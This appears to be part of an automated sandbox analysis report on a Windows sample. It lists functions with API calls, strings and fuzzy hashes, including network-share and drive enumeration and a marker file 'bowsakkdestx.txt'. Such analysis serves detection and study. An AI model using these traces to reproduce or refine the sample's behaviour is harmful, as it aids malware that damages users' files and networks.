Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 00463070
.\crypto\pem\pem_lib.c, xrefs: 00463097
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006F0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD
